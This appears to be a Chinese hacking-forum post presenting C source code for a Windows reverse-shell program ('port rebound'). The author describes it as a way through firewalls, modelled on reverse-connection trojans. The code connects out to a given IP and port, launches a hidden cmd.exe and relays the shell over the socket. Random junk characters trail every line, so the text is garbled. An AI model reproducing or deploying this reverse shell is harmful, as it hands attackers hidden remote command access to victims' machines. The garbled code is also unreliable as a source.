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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 0ZC,BS`D^  
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/* ============================== z8Q"% @  
Rebound port in Windows NT ]v5-~E!  
By wind,2006/7 Y'Z+, CNf  
===============================*/ HXJ9xkrr  
#include -U>7 H`5  
#include (tl}q3U  
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#pragma comment(lib,"wsock32.lib") 0]x;n+G[q  
s6=YV0w(  
void OutputShell(); LQ-6vrbs  
SOCKET sClient; j1$<]f  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; WA LGIW  
=V|Nn0E  
void main(int argc,char **argv) ?z"KnR+?Q  
{ `<j_[(5yb  
WSADATA stWsaData; 1.R kIB  
int nRet; [.q(h/b  
SOCKADDR_IN stSaiClient,stSaiServer; vZajT!h  
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if(argc != 3) >Wh3MG6  
{ y67uH4&Vm  
printf("Useage:\n\rRebound DestIP DestPort\n"); ggou*;'  
return; b4 hIeBI\  
} 9.0WKcwg  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 4R+P  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xaL#MIR"u"  
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stSaiClient.sin_family = AF_INET; ]@SU4  
stSaiClient.sin_port = htons(0); 00M`%c/  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); p\U*;'hv  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) {TL +7kiX/  
{ Z~3u:[x";  
printf("Bind Socket Failed!\n"); *`KrVu 6s  
return; bV3lE6z  
} Y jup  
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stSaiServer.sin_family = AF_INET; WL\^F#:  
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));  q{X T  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); n9 fk,3  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) (G8  
{ '8r8%XI  
printf("Connect Error!"); M\yHUS6N  
return; H4skvIl  
} U1Yo7nVf  
OutputShell(); +p?hGoF=  
} 'XTs -=  
h#{T}[  
void OutputShell() 93I'cWN  
{ 55hyV{L%  
char szBuff[1024]; GOW"o"S  
SECURITY_ATTRIBUTES stSecurityAttributes; S?,_<GD)w  
OSVERSIONINFO stOsversionInfo; \|Qb[{<:,  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; + v[O  
STARTUPINFO stStartupInfo; wZv-b*4  
char *szShell; n+quSF)  
PROCESS_INFORMATION stProcessInformation; ,#aS/+;[)  
unsigned long lBytesRead; O3ZM:,.  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); CT}' ")Bm  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); baIbf@t/  
stSecurityAttributes.lpSecurityDescriptor = 0; /p$=Cg[K  
stSecurityAttributes.bInheritHandle = TRUE; a`38db(z  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); m;h<"]<  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6{7 3p@  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); L*O>IQh2  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qG^_c;l6a  
stStartupInfo.wShowWindow = SW_HIDE; k6J\Kkk(  
stStartupInfo.hStdInput = hReadPipe; 1CiA 8  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; S$K}v,8.sr  
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GetVersionEx(&stOsversionInfo); 3G&0Ciet  
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switch(stOsversionInfo.dwPlatformId) wA r~<  
{ ! o^Ic`FhS  
case 1: cno;>[$  
szShell = "command.com"; u0 BMyH  
break; -,/3"}<^78  
default: 9>{t}I d  
szShell = "cmd.exe"; &Y=.D:z<  
break; 3`rIV*&_{  
} eKJ:?Lxv;  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !a4cjc(  
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send(sClient,szMsg,77,0); Oc^m_U8>^  
while(1) SW;HjQ>V  
{ !3HsI| $<G  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 7(@(Hm  
if(lBytesRead) &<=e_0zT  
{ n7+aM@G  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); H`?* bG  
send(sClient,szBuff,lBytesRead,0); bpnv&EG  
} nF j-<!  
else w^ U}|h"  
{ !^1[ s@1  
lBytesRead=recv(sClient,szBuff,1024,0); fwH`}<o  
if(lBytesRead<=0) break; ?k::tNv0  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); e2Ww0IK!E  
} (s Jq;Z  
} >3+FZ@.iT  
V*~423  
return; 0`Gai2\1@  
}
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